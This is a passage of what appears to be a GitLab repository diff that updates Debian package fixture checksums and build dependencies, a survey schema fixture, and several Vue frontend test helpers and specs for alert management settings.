+ 40e4682bb24a73251ccd7c7798c0094a649091e5625d6a14bcec9b4e7174f3da 864 sample_1.2.3~alpha2.tar.xz
Files:
- d79b34f58f61ff4ad696d9bd0b8daa68 864 sample_1.2.3~alpha2.tar.xz
+ d5ca476e4229d135a88f9c729c7606c9 864 sample_1.2.3~alpha2.tar.xz
diff --git a/spec/fixtures/packages/debian/sample_1.2.3~alpha2.tar.xz b/spec/fixtures/packages/debian/sample_1.2.3~alpha2.tar.xz
index da70fd2094f..2bad3f065b8 100644
--- a/spec/fixtures/packages/debian/sample_1.2.3~alpha2.tar.xz
+++ b/spec/fixtures/packages/debian/sample_1.2.3~alpha2.tar.xz
Binary files differ
diff --git a/spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.buildinfo b/spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.buildinfo
index dd63727ba31..36e2390b8c7 100644
--- a/spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.buildinfo
+++ b/spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.buildinfo
@@ -4,175 +4,182 @@ Binary: libsample0 sample-dev sample-udeb
Architecture: amd64 source
Version: 1.2.3~alpha2
Checksums-Md5:
- 3b0817804f669e16cdefac583ad88f0e 671 sample_1.2.3~alpha2.dsc
+ ceccb6bb3e45ce6550b24234d4023e0f 671 sample_1.2.3~alpha2.dsc
fb0842b21adc44207996296fe14439dd 1124 libsample0_1.2.3~alpha2_amd64.deb
- d2afbd28e4d74430d22f9504e18bfdf5 1164 sample-dev_1.2.3~binary_amd64.deb
+ 5fafc04dcae1525e1367b15413e5a5c7 1164 sample-dev_1.2.3~binary_amd64.deb
72b1dd7d98229e2fb0355feda1d3a165 736 sample-udeb_1.2.3~alpha2_amd64.udeb
Checksums-Sha1:
- 32ecbd674f0bfd310df68484d87752490685a8d6 671 sample_1.2.3~alpha2.dsc
+ 375ba20ea1789e1e90d469c3454ce49a431d0442 671 sample_1.2.3~alpha2.dsc
5248b95600e85bfe7f63c0dfce330a75f5777366 1124 libsample0_1.2.3~alpha2_amd64.deb
- f81e4f66c8c6bb899653a3340c157965ee69634f 1164 sample-dev_1.2.3~binary_amd64.deb
+ fcd5220b1501ec150ccf37f06e4da919a8612be4 1164 sample-dev_1.2.3~binary_amd64.deb
e42e8f2fe04ed1bb73b44a187674480d0e49dcba 736 sample-udeb_1.2.3~alpha2_amd64.udeb
Checksums-Sha256:
- 844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba 671 sample_1.2.3~alpha2.dsc
+ 81fc156ba937cdb6215362cc4bf6b8dc47be9b4253ba0f1a4ab10c7ea0c4c4e5 671 sample_1.2.3~alpha2.dsc
1c383a525bfcba619c7305ccd106d61db501a6bbaf0003bf8d0c429fbdb7fcc1 1124 libsample0_1.2.3~alpha2_amd64.deb
- 9fbeee2191ce4dab5288fad5ecac1bd369f58fef9a992a880eadf0caf25f086d 1164 sample-dev_1.2.3~binary_amd64.deb
+ b8aa8b73a14bc1e0012d4c5309770f5160a8ea7f9dfe6f45222ea6b8a3c35325 1164 sample-dev_1.2.3~binary_amd64.deb
2b0c152b3ab4cc07663350424de972c2b7621d69fe6df2e0b94308a191e4632f 736 sample-udeb_1.2.3~alpha2_amd64.udeb
Build-Origin: Debian
Build-Architecture: amd64
-Build-Date: Thu, 08 Oct 2020 15:15:24 +0200
+Build-Date: Fri, 14 May 2021 16:51:32 +0200
Build-Tainted-By:
- merged-usr-via-symlinks
+ merged-usr-via-aliased-dirs
usr-local-has-includes
usr-local-has-libraries
usr-local-has-programs
Installed-Build-Depends:
- autoconf (= 2.69-11.1),
- automake (= 1:1.16.2-4),
- autopoint (= 0.19.8.1-10),
- autotools-dev (= 20180224.1),
+ autoconf (= 2.69-14),
+ automake (= 1:1.16.3-2),
+ autopoint (= 0.21-4),
+ autotools-dev (= 20180224.1+nmu1),
base-files (= 11),
- base-passwd (= 3.5.47),
- bash (= 5.0-7),
- binutils (= 2.35.1-1),
- binutils-common (= 2.35.1-1),
- binutils-x86-64-linux-gnu (= 2.35.1-1),
- bsdextrautils (= 2.36-3+b1),
- bsdmainutils (= 12.1.7),
- bsdutils (= 1:2.36-3+b1),
- build-essential (= 12.8),
+ base-passwd (= 3.5.49),
+ bash (= 5.1-2+b1),
+ binutils (= 2.35.2-2),
+ binutils-common (= 2.35.2-2),
+ binutils-x86-64-linux-gnu (= 2.35.2-2),
+ bsdextrautils (= 2.36.1-7),
+ bsdmainutils (= 12.1.7+nmu3),
+ bsdutils (= 1:2.36.1-7),
+ build-essential (= 12.9),
bzip2 (= 1.0.8-4),
- calendar (= 12.1.7),
coreutils (= 8.32-4+b1),
- cpp (= 4:10.2.0-1),
- cpp-10 (= 10.2.0-9),
- cpp-9 (= 9.3.0-18),
- dash (= 0.5.10.2-7),
- debconf (= 1.5.74),
- debhelper (= 13.2.1),
+ cpp (= 4:10.2.1-1),
+ cpp-10 (= 10.2.1-6),
+ cpp-9 (= 9.3.0-22),
+ dash (= 0.5.11+git20200708+dd9ef66-5),
+ debconf (= 1.5.75),
+ debhelper (= 13.3.4),
debianutils (= 4.11.2),
- dh-autoreconf (= 19),
- dh-strip-nondeterminism (= 1.9.0-1),
- diffutils (= 1:3.7-3),
- dpkg (= 1.20.5),
- dpkg-dev (= 1.20.5),
- dwz (= 0.13-5),
- file (= 1:5.38-5),
- findutils (= 4.7.0-1),
- g++ (= 4:10.2.0-1),
- g++-10 (= 10.2.0-9),
- gcc (= 4:10.2.0-1),
- gcc-10 (= 10.2.0-9),
- gcc-10-base (= 10.2.0-9),
- gcc-9 (= 9.3.0-18),
- gcc-9-base (= 9.3.0-18),
- gettext (= 0.19.8.1-10),
- gettext-base (= 0.19.8.1-10),
- grep (= 3.4-1),
- groff-base (= 1.22.4-5),
- gzip (= 1.10-2),
+ dh-autoreconf (= 20),
+ dh-strip-nondeterminism (= 1.11.0-1),
+ diffutils (= 1:3.7-5),
+ dpkg (= 1.20.9),
+ dpkg-dev (= 1.20.9),
+ dwz (= 0.13+20210201-1),
+ file (= 1:5.39-3),
+ findutils (= 4.8.0-1),
+ g++ (= 4:10.2.1-1),
+ g++-10 (= 10.2.1-6),
+ gcc (= 4:10.2.1-1),
+ gcc-10 (= 10.2.1-6),
+ gcc-10-base (= 10.2.1-6),
+ gcc-9 (= 9.3.0-22),
+ gcc-9-base (= 9.3.0-22),
+ gettext (= 0.21-4),
+ gettext-base (= 0.21-4),
+ grep (= 3.6-1),
+ groff-base (= 1.22.4-6),
+ gzip (= 1.10-4),
hostname (= 3.23),
- init-system-helpers (= 1.58),
+ init-system-helpers (= 1.60),
intltool-debian (= 0.35.0+20060710.5),
- libacl1 (= 2.2.53-8),
+ libacl1 (= 2.2.53-10),
libarchive-zip-perl (= 1.68-1),
- libasan5 (= 9.3.0-18),
- libasan6 (= 10.2.0-9),
- libatomic1 (= 10.2.0-9),
- libattr1 (= 1:2.4.48-5),
- libaudit-common (= 1:2.8.5-3),
- libaudit1 (= 1:2.8.5-3+b1),
- libbinutils (= 2.35.1-1),
- libblkid1 (= 2.36-3+b1),
- libbsd0 (= 0.10.0-1),
+ libasan5 (= 9.3.0-22),
+ libasan6 (= 10.2.1-6),
+ libatomic1 (= 10.2.1-6),
+ libattr1 (= 1:2.4.48-6),
+ libaudit-common (= 1:3.0-2),
+ libaudit1 (= 1:3.0-2),
+ libbinutils (= 2.35.2-2),
+ libblkid1 (= 2.36.1-7),
libbz2-1.0 (= 1.0.8-4),
- libc-bin (= 2.31-3),
- libc-dev-bin (= 2.31-3),
- libc6 (= 2.31-3),
- libc6-dev (= 2.31-3),
- libcap-ng0 (= 0.7.9-2.2),
- libcc1-0 (= 10.2.0-9),
- libcroco3 (= 0.6.13-1),
- libcrypt-dev (= 1:4.4.17-1),
- libcrypt1 (= 1:4.4.17-1),
- libctf-nobfd0 (= 2.35.1-1),
- libctf0 (= 2.35.1-1),
- libdb5.3 (= 5.3.28+dfsg1-0.6),
- libdebconfclient0 (= 0.254),
- libdebhelper-perl (= 13.2.1),
- libdpkg-perl (= 1.20.5),
- libelf1 (= 0.181-1),
- libffi7 (= 3.3-4),
- libfile-stripnondeterminism-perl (= 1.9.0-1),
- libgcc-10-dev (= 10.2.0-9),
- libgcc-9-dev (= 9.3.0-18),
- libgcc-s1 (= 10.2.0-9),
- libgcrypt20 (= 1.8.6-2),
- libgdbm-compat4 (= 1.18.1-5.1),
- libgdbm6 (= 1.18.1-5.1),
- libglib2.0-0 (= 2.66.0-2),
- libgmp10 (= 2:6.2.0+dfsg-6),
- libgomp1 (= 10.2.0-9),
+ libc-bin (= 2.31-11),
+ libc-dev-bin (= 2.31-11),
+ libc6 (= 2.31-11),
+ libc6-dev (= 2.31-11),
+ libcap-ng0 (= 0.7.9-2.2+b1),
+ libcc1-0 (= 10.2.1-6),
+ libcom-err2 (= 1.46.2-1),
+ libcrypt-dev (= 1:4.4.18-2),
+ libcrypt1 (= 1:4.4.18-2),
+ libctf-nobfd0 (= 2.35.2-2),
+ libctf0 (= 2.35.2-2),
+ libdb5.3 (= 5.3.28+dfsg1-0.8),
+ libdebconfclient0 (= 0.257),
+ libdebhelper-perl (= 13.3.4),
+ libdpkg-perl (= 1.20.9),
+ libelf1 (= 0.183-1),
+ libfile-stripnondeterminism-perl (= 1.11.0-1),
+ libgcc-10-dev (= 10.2.1-6),
+ libgcc-9-dev (= 9.3.0-22),
+ libgcc-s1 (= 10.2.1-6),
+ libgcrypt20 (= 1.8.7-3),
+ libgdbm-compat4 (= 1.19-2),
+ libgdbm6 (= 1.19-2),
+ libgmp10 (= 2:6.2.1+dfsg-1),
+ libgomp1 (= 10.2.1-6),
libgpg-error0 (= 1.38-2),
- libicu67 (= 67.1-4),
- libisl22 (= 0.22.1-1),
- libitm1 (= 10.2.0-9),
- liblsan0 (= 10.2.0-9),
- liblz4-1 (= 1.9.2-2),
- liblzma5 (= 5.2.4-1+b1),
- libmagic-mgc (= 1:5.38-5),
- libmagic1 (= 1:5.38-5),
- libmount1 (= 2.36-3+b1),
+ libgssapi-krb5-2 (= 1.18.3-5),
+ libicu67 (= 67.1-6),
+ libisl23 (= 0.23-1),
+ libitm1 (= 10.2.1-6),
+ libk5crypto3 (= 1.18.3-5),
+ libkeyutils1 (= 1.6.1-2),
+ libkrb5-3 (= 1.18.3-5),
+ libkrb5support0 (= 1.18.3-5),
+ liblsan0 (= 10.2.1-6),
+ liblz4-1 (= 1.9.3-1),
+ liblzma5 (= 5.2.5-2),
+ libmagic-mgc (= 1:5.39-3),
+ libmagic1 (= 1:5.39-3),
+ libmount1 (= 2.36.1-7),
libmpc3 (= 1.2.0-1),
libmpfr6 (= 4.1.0-3),
- libpam-modules (= 1.3.1-5),
- libpam-modules-bin (= 1.3.1-5),
- libpam-runtime (= 1.3.1-5),
- libpam0g (= 1.3.1-5),
- libpcre2-8-0 (= 10.34-7),
+ libnsl-dev (= 1.3.0-2),
+ libnsl2 (= 1.3.0-2),
+ libpam-modules (= 1.4.0-7),
+ libpam-modules-bin (= 1.4.0-7),
+ libpam-runtime (= 1.4.0-7),
+ libpam0g (= 1.4.0-7),
+ libpcre2-8-0 (= 10.36-2),
libpcre3 (= 2:8.39-13),
- libperl5.30 (= 5.30.3-4),
+ libperl5.32 (= 5.32.1-4),
libpipeline1 (= 1.5.3-1),
- libquadmath0 (= 10.2.0-9),
- libseccomp2 (= 2.4.4-1),
- libselinux1 (= 3.1-2),
- libsigsegv2 (= 2.12-2),
- libsmartcols1 (= 2.36-3+b1),
- libstdc++-10-dev (= 10.2.0-9),
- libstdc++6 (= 10.2.0-9),
+ libquadmath0 (= 10.2.1-6),
+ libseccomp2 (= 2.5.1-1),
+ libselinux1 (= 3.1-3),
+ libsigsegv2 (= 2.13-1),
+ libsmartcols1 (= 2.36.1-7),
+ libssl1.1 (= 1.1.1k-1),
+ libstdc++-10-dev (= 10.2.1-6),
+ libstdc++6 (= 10.2.1-6),
libsub-override-perl (= 0.09-2),
- libsystemd0 (= 246.6-1),
- libtinfo6 (= 6.2+20200918-1),
- libtool (= 2.4.6-14),
- libtsan0 (= 10.2.0-9),
- libubsan1 (= 10.2.0-9),
+ libsystemd0 (= 247.3-5),
+ libtinfo6 (= 6.2+20201114-2),
+ libtirpc-common (= 1.3.1-1),
+ libtirpc-dev (= 1.3.1-1),
+ libtirpc3 (= 1.3.1-1),
+ libtool (= 2.4.6-15),
+ libtsan0 (= 10.2.1-6),
+ libubsan1 (= 10.2.1-6),
libuchardet0 (= 0.0.7-1),
- libudev1 (= 246.6-1),
+ libudev1 (= 247.3-5),
libunistring2 (= 0.9.10-4),
- libuuid1 (= 2.36-3+b1),
- libxml2 (= 2.9.10+dfsg-6),
- libzstd1 (= 1.4.5+dfsg-4),
- linux-libc-dev (= 5.8.10-1),
+ libuuid1 (= 2.36.1-7),
+ libxml2 (= 2.9.10+dfsg-6.3+b1),
+ libzstd1 (= 1.4.8+dfsg-2.1),
+ linux-libc-dev (= 5.10.28-1),
login (= 1:4.8.1-1),
lsb-base (= 11.1.0),
- m4 (= 1.4.18-4),
- make (= 4.3-4),
- man-db (= 2.9.3-2),
+ m4 (= 1.4.18-5),
+ make (= 4.3-4.1),
+ man-db (= 2.9.4-2),
mawk (= 1.3.4.20200120-2),
- ncal (= 12.1.7),
- ncurses-base (= 6.2+20200918-1),
- ncurses-bin (= 6.2+20200918-1),
- patch (= 2.7.6-6),
- perl (= 5.30.3-4),
- perl-base (= 5.30.3-4),
- perl-modules-5.30 (= 5.30.3-4),
- po-debconf (= 1.0.21),
+ ncal (= 12.1.7+nmu3),
+ ncurses-base (= 6.2+20201114-2),
+ ncurses-bin (= 6.2+20201114-2),
+ patch (= 2.7.6-7),
+ perl (= 5.32.1-4),
+ perl-base (= 5.32.1-4),
+ perl-modules-5.32 (= 5.32.1-4),
+ po-debconf (= 1.0.21+nmu1),
sed (= 4.7-1),
- sensible-utils (= 0.0.12+nmu1),
- sysvinit-utils (= 2.96-5),
- tar (= 1.30+dfsg-7),
- util-linux (= 2.36-3+b1),
- xz-utils (= 5.2.4-1+b1),
+ sensible-utils (= 0.0.14),
+ sysvinit-utils (= 2.96-7),
+ tar (= 1.34+dfsg-1),
+ util-linux (= 2.36.1-7),
+ xz-utils (= 5.2.5-2),
zlib1g (= 1:1.2.11.dfsg-2)
Environment:
DEB_BUILD_OPTIONS="parallel=8"
diff --git a/spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.changes b/spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.changes
index 7a6bb78eb78..7aa4761c49c 100644
--- a/spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.changes
+++ b/spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.changes
@@ -10,30 +10,30 @@ Maintainer: John Doe <john.doe@example.com>
Changed-By: John Doe <john.doe@example.com>
Description:
libsample0 - Some mostly empty lib
- sample-dev - Some mostly empty developpement files
+ sample-dev - Some mostly empty development files
sample-udeb - Some mostly empty udeb (udeb)
Changes:
sample (1.2.3~alpha2) unstable; urgency=medium
.
* Initial release
Checksums-Sha1:
- 32ecbd674f0bfd310df68484d87752490685a8d6 671 sample_1.2.3~alpha2.dsc
- 5f8bba5574eb01ac3b1f5e2988e8c29307788236 864 sample_1.2.3~alpha2.tar.xz
+ 375ba20ea1789e1e90d469c3454ce49a431d0442 671 sample_1.2.3~alpha2.dsc
+ c5cfc111ea924842a89a06d5673f07dfd07de8ca 864 sample_1.2.3~alpha2.tar.xz
5248b95600e85bfe7f63c0dfce330a75f5777366 1124 libsample0_1.2.3~alpha2_amd64.deb
- f81e4f66c8c6bb899653a3340c157965ee69634f 1164 sample-dev_1.2.3~binary_amd64.deb
+ fcd5220b1501ec150ccf37f06e4da919a8612be4 1164 sample-dev_1.2.3~binary_amd64.deb
e42e8f2fe04ed1bb73b44a187674480d0e49dcba 736 sample-udeb_1.2.3~alpha2_amd64.udeb
- 0d47e899f3cc67a2253a4629456ff927e0db5c60 5280 sample_1.2.3~alpha2_amd64.buildinfo
+ 661f7507efa6fdd3763c95581d0baadb978b7ef5 5507 sample_1.2.3~alpha2_amd64.buildinfo
Checksums-Sha256:
- 844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba 671 sample_1.2.3~alpha2.dsc
- b5a599e88e7cbdda3bde808160a21ba1dd1ec76b2ec8d4912aae769648d68362 864 sample_1.2.3~alpha2.tar.xz
+ 81fc156ba937cdb6215362cc4bf6b8dc47be9b4253ba0f1a4ab10c7ea0c4c4e5 671 sample_1.2.3~alpha2.dsc
+ 40e4682bb24a73251ccd7c7798c0094a649091e5625d6a14bcec9b4e7174f3da 864 sample_1.2.3~alpha2.tar.xz
1c383a525bfcba619c7305ccd106d61db501a6bbaf0003bf8d0c429fbdb7fcc1 1124 libsample0_1.2.3~alpha2_amd64.deb
- 9fbeee2191ce4dab5288fad5ecac1bd369f58fef9a992a880eadf0caf25f086d 1164 sample-dev_1.2.3~binary_amd64.deb
+ b8aa8b73a14bc1e0012d4c5309770f5160a8ea7f9dfe6f45222ea6b8a3c35325 1164 sample-dev_1.2.3~binary_amd64.deb
2b0c152b3ab4cc07663350424de972c2b7621d69fe6df2e0b94308a191e4632f 736 sample-udeb_1.2.3~alpha2_amd64.udeb
- f9900d3c94e94b329232668dcbef3dba2d96c07147b15b6dc0533452e4dd8a43 5280 sample_1.2.3~alpha2_amd64.buildinfo
+ d0c169e9caa5b303a914b27b5adf69768fe6687d4925905b7d0cd9c0f9d4e56c 5507 sample_1.2.3~alpha2_amd64.buildinfo
Files:
- 3b0817804f669e16cdefac583ad88f0e 671 libs optional sample_1.2.3~alpha2.dsc
- d79b34f58f61ff4ad696d9bd0b8daa68 864 libs optional sample_1.2.3~alpha2.tar.xz
+ ceccb6bb3e45ce6550b24234d4023e0f 671 libs optional sample_1.2.3~alpha2.dsc
+ d5ca476e4229d135a88f9c729c7606c9 864 libs optional sample_1.2.3~alpha2.tar.xz
fb0842b21adc44207996296fe14439dd 1124 libs optional libsample0_1.2.3~alpha2_amd64.deb
- d2afbd28e4d74430d22f9504e18bfdf5 1164 libdevel optional sample-dev_1.2.3~binary_amd64.deb
+ 5fafc04dcae1525e1367b15413e5a5c7 1164 libdevel optional sample-dev_1.2.3~binary_amd64.deb
72b1dd7d98229e2fb0355feda1d3a165 736 libs optional sample-udeb_1.2.3~alpha2_amd64.udeb
- 4e085dd67c120ca967ec314f65770a42 5280 libs optional sample_1.2.3~alpha2_amd64.buildinfo
+ 12a5ac4f16ad75f8741327ac23b4c0d7 5507 libs optional sample_1.2.3~alpha2_amd64.buildinfo
diff --git a/spec/fixtures/product_intelligence/survey_response_schema.json b/spec/fixtures/product_intelligence/survey_response_schema.json
index 11454116d83..03d2d170137 100644
--- a/spec/fixtures/product_intelligence/survey_response_schema.json
+++ b/spec/fixtures/product_intelligence/survey_response_schema.json
@@ -3,7 +3,7 @@
"self": {
"vendor": "com.gitlab",
"name": "survey_response",
- "version": "1-0-0",
+ "version": "1-0-1",
"format": "jsonschema"
},
"type": "object",
@@ -47,6 +47,12 @@
"description": "Username",
"type": ["string", "null"],
"maxLength": 255
+ },
+ "onboarding_progress": {
+ "description": "Onboarding progress",
+ "type": ["integer", "null"],
+ "minimum": 0,
+ "maximum": 2147483647
}
}
}
diff --git a/spec/fixtures/whats_new/20201225_01_05.yml b/spec/fixtures/whats_new/20201225_01_05.yml
index 27c8f989b08..d707502af54 100644
--- a/spec/fixtures/whats_new/20201225_01_05.yml
+++ b/spec/fixtures/whats_new/20201225_01_05.yml
@@ -1,7 +1,7 @@
---
- title: bright and sunshinin' day
body: |
- ## bright and sunshinin' day
+ bright and sunshinin' [day](https://en.wikipedia.org/wiki/Day)
self-managed: true
gitlab-com: false
packages: ["Premium", "Ultimate"]
diff --git a/spec/frontend/__helpers__/mock_user_callout_dismisser.js b/spec/frontend/__helpers__/mock_user_callout_dismisser.js
new file mode 100644
index 00000000000..652f36028dc
--- /dev/null
+++ b/spec/frontend/__helpers__/mock_user_callout_dismisser.js
@@ -0,0 +1,16 @@
+/**
+ * Mock factory for the UserCalloutDismisser component.
+ * @param {slotProps} The slot props to pass to the default slot content.
+ * @returns {VueComponent}
+ */
+export const makeMockUserCalloutDismisser = ({
+ dismiss = () => {},
+ shouldShowCallout = true,
+} = {}) => ({
+ render() {
+ return this.$scopedSlots.default({
+ dismiss,
+ shouldShowCallout,
+ });
+ },
+});
diff --git a/spec/frontend/__helpers__/vue_test_utils_helper.js b/spec/frontend/__helpers__/vue_test_utils_helper.js
index a94cee84f74..2aae91f8a39 100644
--- a/spec/frontend/__helpers__/vue_test_utils_helper.js
+++ b/spec/frontend/__helpers__/vue_test_utils_helper.js
@@ -1,5 +1,5 @@
import * as testingLibrary from '@testing-library/dom';
-import { createWrapper, WrapperArray, mount, shallowMount } from '@vue/test-utils';
+import { createWrapper, WrapperArray, ErrorWrapper, mount, shallowMount } from '@vue/test-utils';
import { isArray, upperFirst } from 'lodash';
const vNodeContainsText = (vnode, text) =>
@@ -81,14 +81,9 @@ export const extendedWrapper = (wrapper) => {
options,
);
- // Return VTU `ErrorWrapper` if element is not found
- // https://github.com/vuejs/vue-test-utils/blob/dev/packages/test-utils/src/error-wrapper.js
- // VTU does not expose `ErrorWrapper` so, as of now, this is the best way to
- // create an `ErrorWrapper`
+ // Element not found, return an `ErrorWrapper`
if (!elements.length) {
- const emptyElement = document.createElement('div');
-
- return createWrapper(emptyElement).find('testing-library-element-not-found');
+ return new ErrorWrapper(query);
}
return createWrapper(elements[0], this.options || {});
diff --git a/spec/frontend/__helpers__/vue_test_utils_helper_spec.js b/spec/frontend/__helpers__/vue_test_utils_helper_spec.js
index dfe5a483223..3bb228f94b8 100644
--- a/spec/frontend/__helpers__/vue_test_utils_helper_spec.js
+++ b/spec/frontend/__helpers__/vue_test_utils_helper_spec.js
@@ -4,6 +4,7 @@ import {
shallowMount,
Wrapper as VTUWrapper,
WrapperArray as VTUWrapperArray,
+ ErrorWrapper as VTUErrorWrapper,
} from '@vue/test-utils';
import {
extendedWrapper,
@@ -195,7 +196,7 @@ describe('Vue test utils helpers', () => {
});
it('returns a VTU error wrapper', () => {
- expect(wrapper[findMethod](text, options).exists()).toBe(false);
+ expect(wrapper[findMethod](text, options)).toBeInstanceOf(VTUErrorWrapper);
});
});
});
diff --git a/spec/frontend/alert_management/components/alert_management_table_spec.js b/spec/frontend/alert_management/components/alert_management_table_spec.js
index 826fb820d9b..20e8bc059ec 100644
--- a/spec/frontend/alert_management/components/alert_management_table_spec.js
+++ b/spec/frontend/alert_management/components/alert_management_table_spec.js
@@ -7,7 +7,6 @@ import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import mockAlerts from 'jest/vue_shared/alert_details/mocks/alerts.json';
import AlertManagementTable from '~/alert_management/components/alert_management_table.vue';
import { visitUrl } from '~/lib/utils/url_utility';
-import AlertDeprecationWarning from '~/vue_shared/components/alerts_deprecation_warning.vue';
import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
import defaultProvideValues from '../mocks/alerts_provide_config.json';
@@ -41,8 +40,7 @@ describe('AlertManagementTable', () => {
resolved: 11,
all: 26,
};
- const findDeprecationNotice = () =>
- wrapper.findComponent(AlertDeprecationWarning).findComponent(GlAlert);
+ const findDeprecationNotice = () => wrapper.findByTestId('alerts-deprecation-warning');
function mountComponent({ provide = {}, data = {}, loading = false, stubs = {} } = {}) {
wrapper = extendedWrapper(
@@ -239,19 +237,21 @@ describe('AlertManagementTable', () => {
expect(visitUrl).toHaveBeenCalledWith('/1527542/details', true);
});
- describe('deprecation notice', () => {
- it('shows the deprecation notice when available', () => {
- mountComponent({ provide: { hasManagedPrometheus: true } });
-
- expect(findDeprecationNotice().exists()).toBe(true);
- });
-
- it('hides the deprecation notice when not available', () => {
- mountComponent();
-
- expect(findDeprecationNotice().exists()).toBe(false);
- });
- });
+ it.each`
+ managedAlertsDeprecation | hasManagedPrometheus | isVisible
+ ${false} | ${false} | ${false}
+ ${false} | ${true} | ${true}
+ ${true} | ${false} | ${false}
+ ${true} | ${true} | ${false}
+ `(
+ 'when the deprecation feature flag is $managedAlertsDeprecation and has managed prometheus is $hasManagedPrometheus',
+ ({ hasManagedPrometheus, managedAlertsDeprecation, isVisible }) => {
+ mountComponent({
+ provide: { hasManagedPrometheus, glFeatures: { managedAlertsDeprecation } },
+ });
+ expect(findDeprecationNotice().exists()).toBe(isVisible);
+ },
+ );
describe('alert issue links', () => {
beforeEach(() => {
diff --git a/spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap b/spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap
new file mode 100644
index 00000000000..3a374084dbc
--- /dev/null
+++ b/spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap
@@ -0,0 +1,119 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Alert integration settings form default state should match the default snapshot 1`] = `
+<div>
+ <p>
+ <gl-sprintf-stub
+ message="Action to take when receiving an alert. %{docsLink}"
+ />
+ </p>
+
+ <form>
+ <gl-form-group-stub
+ class="gl-pl-0"
+ labeldescription=""
+ >
+ <gl-form-checkbox-stub
+ checked="true"
+ data-qa-selector="create_issue_checkbox"
+ >
+ <span>
+ Create an incident. Incidents are created for each alert triggered.
+ </span>
+ </gl-form-checkbox-stub>
+ </gl-form-group-stub>
+
+ <gl-form-group-stub
+ class="col-8 col-md-9 gl-px-6"
+ label-for="alert-integration-settings-issue-template"
+ label-size="sm"
+ labeldescription=""
+ >
+ <label
+ class="gl-display-inline-flex"
+ for="alert-integration-settings-issue-template"
+ >
+
+ Incident template (optional).
+
+ <gl-link-stub
+ href="/help/user/project/description_templates#create-an-issue-template"
+ target="_blank"
+ >
+ <span
+ class="gl-font-weight-normal gl-pl-2"
+ >
+ Learn more.
+ </span>
+ </gl-link-stub>
+ </label>
+
+ <gl-dropdown-stub
+ block="true"
+ category="primary"
+ data-qa-selector="incident_templates_dropdown"
+ headertext=""
+ hideheaderborder="true"
+ id="alert-integration-settings-issue-template"
+ size="medium"
+ text="selecte_tmpl"
+ variant="default"
+ >
+ <gl-dropdown-item-stub
+ avatarurl=""
+ data-qa-selector="incident_templates_item"
+ iconcolor=""
+ iconname=""
+ iconrightarialabel=""
+ iconrightname=""
+ ischeckitem="true"
+ secondarytext=""
+ >
+
+ No template selected
+
+ </gl-dropdown-item-stub>
+ </gl-dropdown-stub>
+ </gl-form-group-stub>
+
+ <gl-form-group-stub
+ class="gl-pl-0 gl-mb-5"
+ labeldescription=""
+ >
+ <gl-form-checkbox-stub>
+ <span>
+ Send a single email notification to Owners and Maintainers for new alerts.
+ </span>
+ </gl-form-checkbox-stub>
+ </gl-form-group-stub>
+
+ <gl-form-group-stub
+ class="gl-pl-0 gl-mb-5"
+ labeldescription=""
+ >
+ <gl-form-checkbox-stub
+ checked="true"
+ >
+ <span>
+ Automatically close associated incident when a recovery alert notification resolves an alert
+ </span>
+ </gl-form-checkbox-stub>
+ </gl-form-group-stub>
+
+ <gl-button-stub
+ buttontextclasses=""
+ category="primary"
+ class="js-no-auto-disable"
+ data-qa-selector="save_changes_button"
+ icon=""
+ size="medium"
+ type="submit"
+ variant="confirm"
+ >
+
+ Save changes
+
+ </gl-button-stub>
+ </form>
+</div>
+`;
diff --git a/spec/frontend/alerts_settings/components/alerts_form_spec.js b/spec/frontend/alerts_settings/components/alerts_form_spec.js
new file mode 100644
index 00000000000..a045954dfb8
--- /dev/null
+++ b/spec/frontend/alerts_settings/components/alerts_form_spec.js
@@ -0,0 +1,50 @@
+import { shallowMount } from '@vue/test-utils';
+import AlertsSettingsForm from '~/alerts_settings/components/alerts_form.vue';
+
+describe('Alert integration settings form', () => {
+ let wrapper;
+ const service = { updateSettings: jest.fn().mockResolvedValue() };
+
+ const findForm = () => wrapper.find({ ref: 'settingsForm' });
+
+ beforeEach(() => {
+ wrapper = shallowMount(AlertsSettingsForm, {
+ provide: {
+ service,
+ alertSettings: {
+ issueTemplateKey: 'selecte_tmpl',
+ createIssue: true,
+ sendEmail: false,
+ templates: [],
+ autoCloseIncident: true,
+ },
+ },
+ });
+ });
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ }
+ });
+
+ describe('default state', () => {
+ it('should match the default snapshot', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+ });
+
+ describe('form', () => {
+ it('should call service `updateSettings` on submit', () => {
+ findForm().trigger('submit');
+ expect(service.updateSettings).toHaveBeenCalledWith(
+ expect.objectContaining({
+ create_issue: wrapper.vm.createIssueEnabled,
+ issue_template_key: wrapper.vm.issueTemplate,
+ send_email: wrapper.vm.sendEmailEnabled,
+ auto_close_incident: wrapper.vm.autoCloseIncident,
+ }),
+ );
+ });
+ });
+});
diff --git a/spec/frontend/alerts_settings/components/alerts_integrations_list_spec.js b/spec/frontend/alerts_settings/components/alerts_integrations_list_spec.js
index c43d78a1cf3..3ffbb7ab60a 100644
--- a/spec/frontend/alerts_settings/components/alerts_integrations_list_spec.js
+++ b/spec/frontend/alerts_settings/components/alerts_integrations_list_spec.js
@@ -80,7 +80,7 @@ describe('AlertIntegrationsList', () => {
const cell = finsStatusCell().at(0);
const activatedIcon = cell.find(GlIcon);
expect(cell.text()).toBe(i18n.status.enabled.name);
- expect(activatedIcon.attributes('name')).toBe('check-circle-filled');
+ expect(activatedIcon.attributes('name')).toBe('check');
expect(activatedIcon.attributes('title')).toBe(i18n.status.enabled.tooltip);
});
